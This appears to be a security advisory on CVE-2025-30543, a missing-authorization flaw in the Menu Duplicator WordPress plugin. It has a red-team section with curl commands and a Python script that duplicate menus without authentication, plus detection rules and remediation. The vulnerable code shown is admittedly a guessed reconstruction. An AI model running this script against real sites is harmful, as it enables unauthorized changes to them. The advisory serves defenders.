CVE-2025-30543

Executive Summary

CVE-2025-30543 is a Missing Authorization vulnerability in the Menu Duplicator WordPress plugin (slug: copy-menu) developed by swayam.tejwani. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, specifically by invoking the plugin's AJAX actions or REST endpoints without proper capability checks. The vulnerability affects all versions up to and including 1.0.

As a WordPress plugin, this vulnerability resides entirely within the WordPress ecosystem. The plugin fails to verify user permissions before executing menu duplication operations, enabling any visitor to the site (including unauthenticated users) to trigger menu duplication. This can lead to unauthorized creation of duplicate menus, potentially causing administrative confusion, resource exhaustion, or serving as a stepping stone for further attacks.

The CVSS v3.1 base score is 4.3 (Medium), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N. The attack complexity is low, requires no privileges, and no user interaction. The impact is limited to integrity (low) with no confidentiality or availability impact. The EPSS score is 0.0%, indicating very low exploitation likelihood in the wild at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Users who installed the plugin from the WordPress repository are affected. The plugin's author has not released a patch, and the vulnerability remains unpatched. Administrators should consider removing the plugin until a fix is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or race conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Unauthorized menu duplication can modify site structure.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the direct impact is limited, the lack of authentication makes it trivial to exploit. In a WordPress multisite environment or a site with many menus, this could lead to significant administrative overhead.

Deep Dive & Mechanics

The vulnerability stems from the plugin's failure to implement proper capability checks in its AJAX handlers or REST API endpoints. In WordPress, plugins typically use functions like current_user_can() or wp_verify_nonce() to ensure that only authorized users (e.g., administrators) can perform sensitive actions. The Menu Duplicator plugin, however, registers AJAX actions without verifying the user's role or nonce.

The plugin likely registers an AJAX action such as wp_ajax_copy_menu and wp_ajax_nopriv_copy_menu. The nopriv variant allows unauthenticated users to trigger the action. The handler function then duplicates a menu based on parameters passed in the request (e.g., menu_id). Without a capability check, any visitor can call this endpoint and duplicate any menu.

The attack flow:

1. Attacker identifies a WordPress site with the Menu Duplicator plugin active.
2. Attacker sends a POST request to /wp-admin/admin-ajax.php with action=copy_menu and menu_id=<target_menu_id>.
3. The plugin's handler executes the duplication without checking if the user has edit_theme_options or similar capability.
4. A duplicate menu is created, potentially with the same name or a modified name, causing clutter or confusion.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (copy-menu.php)
add_action('wp_ajax_copy_menu', 'copy_menu_handler');
add_action('wp_ajax_nopriv_copy_menu', 'copy_menu_handler');

function copy_menu_handler() {
    $menu_id = intval($_POST['menu_id']);
    // Missing capability check: current_user_can('edit_theme_options')
    // Missing nonce verification: check_ajax_referer('copy_menu_nonce')
    
    $menu = wp_get_nav_menu_object($menu_id);
    if ($menu) {
        $new_menu_id = wp_create_nav_menu($menu->name . ' (Copy)');
        // Copy menu items...
        wp_send_json_success(array('menu_id' => $new_menu_id));
    } else {
        wp_send_json_error('Menu not found');
    }
}

A patched version would include:

// Patched code
add_action('wp_ajax_copy_menu', 'copy_menu_handler');
// Remove the nopriv action to prevent unauthenticated access

function copy_menu_handler() {
    // Verify nonce
    check_ajax_referer('copy_menu_nonce', 'nonce');
    
    // Check user capability
    if (!current_user_can('edit_theme_options')) {
        wp_die('Unauthorized', 403);
    }
    
    $menu_id = intval($_POST['menu_id']);
    $menu = wp_get_nav_menu_object($menu_id);
    if ($menu) {
        $new_menu_id = wp_create_nav_menu($menu->name . ' (Copy)');
        // Copy menu items...
        wp_send_json_success(array('menu_id' => $new_menu_id));
    } else {
        wp_send_json_error('Menu not found');
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Menu Duplicator plugin version <= 1.0 installed and activated.
• Knowledge of a valid menu ID (can be enumerated via /wp-json/wp/v2/menus or by inspecting the site).

Exploitation Steps:

1. Enumerate Menus:

   curl -s "http://target.com/wp-json/wp/v2/menus" | jq '.[].id'
   

2. Duplicate a Menu (Unauthenticated):

   curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
        -d "action=copy_menu&menu_id=2"
   

3. Verify Duplication: Check the WordPress admin panel under Appearance > Menus. A new menu named "Original Menu (Copy)" should appear.

Automated Exploit Script (Python):

import requests
import sys

def exploit(target_url, menu_id):
    ajax_url = target_url.rstrip('/') + '/wp-admin/admin-ajax.php'
    data = {
        'action': 'copy_menu',
        'menu_id': menu_id
    }
    response = requests.post(ajax_url, data=data)
    if response.status_code == 200 and 'success' in response.text:
        print(f"[+] Menu {menu_id} duplicated successfully!")
    else:
        print(f"[-] Failed to duplicate menu {menu_id}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_url> <menu_id>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

Blue Team

Detection & Prevention:

1. Monitor AJAX Requests: Look for POST requests to /wp-admin/admin-ajax.php with action=copy_menu from unauthenticated users.
2. Check for Unauthorized Menu Creation: Monitor for sudden increases in the number of menus or menus with "(Copy)" suffix.
3. Disable the Plugin: Since no patch exists, the most effective mitigation is to deactivate and remove the plugin.
4. Web Application Firewall (WAF) Rules: Block requests to admin-ajax.php with action=copy_menu unless they include a valid nonce.

Honeypot Setup: Create a decoy menu named "Admin Backup" and monitor for duplication attempts. Any duplication from an unauthenticated IP indicates scanning or exploitation.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with body containing action=copy_menu
  • Repeated requests with varying menu_id parameters
  • User-Agent strings from common scanning tools (e.g., python-requests, curl)

• File System IOCs:

  • Presence of the plugin directory /wp-content/plugins/copy-menu/
  • Log entries in /var/log/apache2/access.log or /var/log/nginx/access.log showing admin-ajax.php requests with action=copy_menu

• WordPress Database IOCs:

  • New entries in wp_terms table with term_group values matching existing menus but with "(Copy)" appended to the name
  • New entries in wp_term_taxonomy with taxonomy = 'nav_menu'

Detection Engineering

YARA Rule

rule CVE_2025_30543_Menu_Duplicator_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-30543 in Menu Duplicator plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-30543"
        severity = "medium"
    strings:
        $ajax_action = "action=copy_menu"
        $menu_id_param = "menu_id="
        $admin_ajax = "admin-ajax.php"
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-30543 Menu Duplicator Unauthenticated AJAX Exploit
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to admin-ajax.php with action=copy_menu
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "admin-ajax.php"
            - "action=copy_menu"
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present, but this rule does not check nonce)
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-30543 Menu Duplicator Unauthenticated AJAX Exploit";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"admin-ajax.php";
    http_uri;
    content:"action=copy_menu";
    http_client_body;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-30543;
)

Remediation & Mitigation

Immediate Actions:

1. Deactivate and Delete the Plugin: Since no patch is available, remove the Menu Duplicator plugin entirely from all WordPress installations.
2. Audit Existing Menus: Check for any unauthorized duplicate menus and delete them.
3. Review User Roles: Ensure that only trusted administrators have edit_theme_options capability.

Long-Term Recommendations:

1. Implement Web Application Firewall (WAF): Use a WAF (e.g., Cloudflare, ModSecurity) to block requests to admin-ajax.php with action=copy_menu from unauthenticated sources.
2. Monitor Plugin Updates: Subscribe to WordPress plugin update notifications and apply patches immediately when available.
3. Principle of Least Privilege: Ensure all plugins follow WordPress coding standards, including proper capability checks and nonce verification.
4. Regular Security Audits: Use tools like WPScan to identify vulnerable plugins.

Workaround (if plugin must be used): Add the following code to the theme's functions.php to block unauthenticated access:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX && isset($_POST['action']) && $_POST['action'] === 'copy_menu') {
        if (!is_user_logged_in() || !current_user_can('edit_theme_options')) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
Securing Digital Frontiers